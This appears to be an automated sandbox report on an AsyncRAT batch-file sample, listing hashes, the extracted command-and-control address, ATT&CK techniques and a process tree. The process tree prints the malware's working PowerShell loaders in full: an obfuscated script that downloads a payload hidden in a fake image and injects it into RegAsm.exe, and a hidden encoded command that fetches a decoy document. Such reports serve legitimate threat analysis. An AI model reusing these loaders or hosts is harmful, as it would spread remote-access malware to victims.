asyncrat | 5d3e1ec332b5f64b4fed0d5f4dae21008ae05ec7f754f804f813925c4573e12c

Analysis

max time kernel
141s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-12-2024 08:38

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General

Target

b4ca7ff5efd0278fef09daf595489560.bat
Size

14KB
MD5

b4ca7ff5efd0278fef09daf595489560
SHA1

112847b2bf3d344b10aae9d6bb375de51b0d3b7b
SHA256

5d3e1ec332b5f64b4fed0d5f4dae21008ae05ec7f754f804f813925c4573e12c
SHA512

5e3933d702ecad73bdd81723bd2de7bfb919a10e768a2f1a7e2c90bdb02b6f6ee30a80a9233fe7ca3bc72efb3e7b1f20ff3a6bd05960e172d77bc928418b25b2
SSDEEP

192:SLmONLs0foAt5SVQfFY3vJG5finGma/E0DlNwYaJQnY+1adnG7RQBaFovHSehrvb:/0foNGUvoLwzJQIdnG7R/EHZbGNpM

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

103.125.189.155:8848

Mutex

DcRatMutex_6565

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	760	powershell.exe
17	760	powershell.exe
19	760	powershell.exe
22	1896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1896	powershell.exe
4984	powershell.exe
760	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b4ca7ff5efd0278fef09daf595489560.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b4ca7ff5efd0278fef09daf595489560.bat	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	bitbucket.org
15	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 760 set thread context of 3496	760	powershell.exe	88

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4892	WINWORD.EXE
4892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4984	powershell.exe
4984	powershell.exe
760	powershell.exe
760	powershell.exe
1896	powershell.exe
1896	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3744	WMIC.exe
Token: SeSecurityPrivilege	3744	WMIC.exe
Token: SeTakeOwnershipPrivilege	3744	WMIC.exe
Token: SeLoadDriverPrivilege	3744	WMIC.exe
Token: SeSystemProfilePrivilege	3744	WMIC.exe
Token: SeSystemtimePrivilege	3744	WMIC.exe
Token: SeProfSingleProcessPrivilege	3744	WMIC.exe
Token: SeIncBasePriorityPrivilege	3744	WMIC.exe
Token: SeCreatePagefilePrivilege	3744	WMIC.exe
Token: SeBackupPrivilege	3744	WMIC.exe
Token: SeRestorePrivilege	3744	WMIC.exe
Token: SeShutdownPrivilege	3744	WMIC.exe
Token: SeDebugPrivilege	3744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3744	WMIC.exe
Token: SeRemoteShutdownPrivilege	3744	WMIC.exe
Token: SeUndockPrivilege	3744	WMIC.exe
Token: SeManageVolumePrivilege	3744	WMIC.exe
Token: 33	3744	WMIC.exe
Token: 34	3744	WMIC.exe
Token: 35	3744	WMIC.exe
Token: 36	3744	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3744	WMIC.exe
Token: SeSecurityPrivilege	3744	WMIC.exe
Token: SeTakeOwnershipPrivilege	3744	WMIC.exe
Token: SeLoadDriverPrivilege	3744	WMIC.exe
Token: SeSystemProfilePrivilege	3744	WMIC.exe
Token: SeSystemtimePrivilege	3744	WMIC.exe
Token: SeProfSingleProcessPrivilege	3744	WMIC.exe
Token: SeIncBasePriorityPrivilege	3744	WMIC.exe
Token: SeCreatePagefilePrivilege	3744	WMIC.exe
Token: SeBackupPrivilege	3744	WMIC.exe
Token: SeRestorePrivilege	3744	WMIC.exe
Token: SeShutdownPrivilege	3744	WMIC.exe
Token: SeDebugPrivilege	3744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3744	WMIC.exe
Token: SeRemoteShutdownPrivilege	3744	WMIC.exe
Token: SeUndockPrivilege	3744	WMIC.exe
Token: SeManageVolumePrivilege	3744	WMIC.exe
Token: 33	3744	WMIC.exe
Token: 34	3744	WMIC.exe
Token: 35	3744	WMIC.exe
Token: 36	3744	WMIC.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	3496	RegAsm.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4892	WINWORD.EXE
4892	WINWORD.EXE
4892	WINWORD.EXE
4892	WINWORD.EXE
4892	WINWORD.EXE
4892	WINWORD.EXE
4892	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 5104 wrote to memory of 3744	5104	cmd.exe	83
PID 5104 wrote to memory of 3744	5104	cmd.exe	83
PID 5104 wrote to memory of 4076	5104	cmd.exe	84
PID 5104 wrote to memory of 4076	5104	cmd.exe	84
PID 5104 wrote to memory of 4984	5104	cmd.exe	86
PID 5104 wrote to memory of 4984	5104	cmd.exe	86
PID 4984 wrote to memory of 760	4984	powershell.exe	87
PID 4984 wrote to memory of 760	4984	powershell.exe	87
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 760 wrote to memory of 3496	760	powershell.exe	88
PID 5104 wrote to memory of 1896	5104	cmd.exe	89
PID 5104 wrote to memory of 1896	5104	cmd.exe	89
PID 1896 wrote to memory of 4892	1896	powershell.exe	90
PID 1896 wrote to memory of 4892	1896	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b4ca7ff5efd0278fef09daf595489560.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:5104
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3744
- C:\Windows\system32\find.exe
  find "QEMU"
  2⤵
  PID:4076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$HQ$ZQBz$HQ$aQBu$Gc$cwBv$G0$ZQB0$Gg$aQBu$Gc$d$$v$GY$ZwBo$Gg$a$Bo$Gg$a$Bo$Gg$a$Bk$Gc$LwBk$G8$dwBu$Gw$bwBh$GQ$cw$v$G4$ZQB3$F8$aQBt$Gc$LgBq$H$$Zw$/$DU$Mw$3$DY$MQ$y$Cc$L$$g$Cc$a$B0$HQ$c$$6$C8$Lw$x$D$$Mw$u$DI$ZQ$u$DY$Mg$v$HQ$ZQBz$HQ$XwBp$G0$Zw$u$Go$c$Bn$Cc$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$g$D0$I$BE$G8$dwBu$Gw$bwBh$GQ$R$Bh$HQ$YQBG$HI$bwBt$Ew$aQBu$Gs$cw$g$CQ$b$Bp$G4$awBz$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$aQBm$C$$K$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$t$G4$ZQ$g$CQ$bgB1$Gw$b$$p$C$$ew$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$I$$9$C$$WwBT$Hk$cwB0$GU$bQ$u$FQ$ZQB4$HQ$LgBF$G4$YwBv$GQ$aQBu$Gc$XQ$6$Do$VQBU$EY$O$$u$Ec$ZQB0$FM$d$By$Gk$bgBn$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HM$d$Bh$HI$d$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$UwBU$EE$UgBU$D4$Pg$n$Ds$I$$k$GU$bgBk$EY$b$Bh$Gc$I$$9$C$$Jw$8$Dw$QgBB$FM$RQ$2$DQ$XwBF$E4$R$$+$D4$Jw$7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$p$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bl$G4$Z$BJ$G4$Z$Bl$Hg$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$Ek$bgBk$GU$e$BP$GY$K$$k$GU$bgBk$EY$b$Bh$Gc$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$LQBn$GU$I$$w$C$$LQBh$G4$Z$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$LQBn$HQ$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$KQ$g$Hs$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$I$$r$D0$I$$k$HM$d$Bh$HI$d$BG$Gw$YQBn$C4$T$Bl$G4$ZwB0$Gg$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$C$$PQ$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$LQ$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YgBh$HM$ZQ$2$DQ$QwBv$G0$bQBh$G4$Z$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$UwB1$GI$cwB0$HI$aQBu$Gc$K$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$L$$g$CQ$YgBh$HM$ZQ$2$DQ$T$Bl$G4$ZwB0$Gg$KQ$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$bQBh$G4$Z$BC$Hk$d$Bl$HM$I$$9$C$$WwBT$Hk$cwB0$GU$bQ$u$EM$bwBu$HY$ZQBy$HQ$XQ$6$Do$RgBy$G8$bQBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$YgBh$HM$ZQ$2$DQ$QwBv$G0$bQBh$G4$Z$$p$Ds$I$$k$Gw$bwBh$GQ$ZQBk$EE$cwBz$GU$bQBi$Gw$eQ$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$UgBl$GY$b$Bl$GM$d$Bp$G8$bg$u$EE$cwBz$GU$bQBi$Gw$eQBd$Do$OgBM$G8$YQBk$Cg$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$p$Ds$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bt$GU$d$Bo$G8$Z$$g$D0$I$$k$HQ$eQBw$GU$LgBH$GU$d$BN$GU$d$Bo$G8$Z$$o$Cc$b$Bm$HM$ZwBl$GQ$Z$Bk$GQ$Z$Bk$GQ$YQ$n$Ck$LgBJ$G4$dgBv$Gs$ZQ$o$CQ$bgB1$Gw$b$$s$C$$WwBv$GI$agBl$GM$d$Bb$F0$XQ$g$Cg$JwB0$Hg$d$$u$GM$cgBj$GQ$awBl$GU$Lw$y$DY$Lg$y$D$$MQ$u$D$$Mg$u$DM$M$$x$C8$Lw$6$H$$d$B0$Gg$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$UgBl$Gc$QQBz$G0$Jw$s$C$$Jw$w$Cc$KQ$p$H0$fQ$=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('$','A')));powershell.exe $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/testingsomethingt/fghhhhhhhhhdg/downloads/new_img.jpg?537612', 'http://103.2e.62/test_img.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.crcdkee/26.201.02.301//:ptth', '0', 'StartupName', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  pOWeRshElL.eXE -EX bYPasS -nOp -W hiDdeN -eC IAAgAGkAUgBtACAACQAtAFUAUgBpACAAKAAdIGgAdAB0AHAAOgAvAC8AMQAwADMALgAyADAALgAxADAAMgAuADYAMgAvADQAMAA0AC4AZABvAB0gIAAJACAACQArACAACQAdIGMAeAAdICAACQApACAALQBvAFUAVABGAEkATABFACAACQAdICQARQBOAFYAOgBhAHAAUABkAGEAdABBAFwAZABvAG4AaABhAG4AZwAuAGQAbwBjAHgAHSAgAAkAOwAgAAkAaQBuAHYATwBrAEUALQBpAFQAZQBtACAAHSAkAEUATgB2ADoAYQBwAHAAZABBAHQAQQBcAGQAbwBuAGgAYQBuAGcALgBkAG8AYwB4AB0g
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\donhang.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
7274a07d1b80de6f66290b47588cee3b

SHA1
d926b384806c755fe6b9d03f68852765aabb5703

SHA256
5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8

SHA512
b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDFE33.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tyfby10.jsw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
305B

MD5
3b783fab601331f3fa80f06ec8dfea8c

SHA1
546f62d07649ab62c6488547a010e9e201f9bfea

SHA256
f4d4e7313ee03bf86245deb1e710a04fb2eb1b6e0e14409fa6993f767e657319

SHA512
d3020ccd9aad27fe5579ff4deb22c811167caa655261f859514b9d1c6ea010446838775e425c908ce660ee4b68c331f242d4cf10d70cdd570abac7ded704938d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
675B

MD5
87d63f17de09a15581ef71076906eb47

SHA1
dbc5d01619ae73efd891d2dedbd0209e16db4de1

SHA256
dbea4696105b09b765927f59424bfb850076e468ac3b8c7f43d4b7a9cdfb35a0

SHA512
95de4291a8dd91fb83319837d0780ad5d409b300665fee3a11d8428d73cf796afb6e1ff0e66eb4a961c36c894f8ec6c27aae76be1971698acaeb08b52e64068b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
e54321e042d494f17c7dc8f27d670f5c

SHA1
6a847d087b2d94b36d21b9b1b67e70e4e8c2fad5

SHA256
d5df5e240343ffedd4dbf20653b7115bf9af5ccc4b9d7f9fd4d51e39d01cbce3

SHA512
317f1f48ee97bef749da0ef8359c4017b91d97d2ef4f7c8663ed9cc01285eeac121419ae2a02e4368df28ec2754d6a6d4585965a5f0721697e829c893a6bda52

Download Submit
C:\Users\Admin\AppData\Roaming\donhang.docx

Filesize
12KB

MD5
ff3620557b65e6e8dd8816643d785c5a

SHA1
d5021480b7cac2066462829c53dc18615642c579

SHA256
85225d3c39423bbfc05e9d52351a9b00670fee3565457e5c3f75caac27ca4de9

SHA512
c2a842bfa4f3caf50d58d5707ca0ad978e04e5111fe20ad468282c216567d25da7022fb7ff2681cb72acc8add3cbcf37000b6bde06ad252758f6ff06c9fb3d34

Download Submit
memory/760-24-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/760-23-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/760-25-0x0000012CB35A0000-0x0000012CB35B0000-memory.dmp

Filesize
64KB

Download
memory/760-13-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/760-29-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/3496-26-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3496-84-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

Download
memory/3496-83-0x0000000005D80000-0x0000000006324000-memory.dmp

Filesize
5.6MB

Download
memory/3496-82-0x0000000005730000-0x00000000057CC000-memory.dmp

Filesize
624KB

Download
memory/4892-53-0x00007FF8ADD10000-0x00007FF8ADD20000-memory.dmp

Filesize
64KB

Download
memory/4892-56-0x00007FF8AB670000-0x00007FF8AB680000-memory.dmp

Filesize
64KB

Download
memory/4892-57-0x00007FF8AB670000-0x00007FF8AB680000-memory.dmp

Filesize
64KB

Download
memory/4892-55-0x00007FF8ADD10000-0x00007FF8ADD20000-memory.dmp

Filesize
64KB

Download
memory/4892-51-0x00007FF8ADD10000-0x00007FF8ADD20000-memory.dmp

Filesize
64KB

Download
memory/4892-54-0x00007FF8ADD10000-0x00007FF8ADD20000-memory.dmp

Filesize
64KB

Download
memory/4892-52-0x00007FF8ADD10000-0x00007FF8ADD20000-memory.dmp

Filesize
64KB

Download
memory/4984-0-0x00007FF8CFC13000-0x00007FF8CFC15000-memory.dmp

Filesize
8KB

Download
memory/4984-33-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/4984-12-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download
memory/4984-6-0x00000283D2560000-0x00000283D2582000-memory.dmp

Filesize
136KB

Download
memory/4984-11-0x00007FF8CFC10000-0x00007FF8D06D1000-memory.dmp

Filesize
10.8MB

Download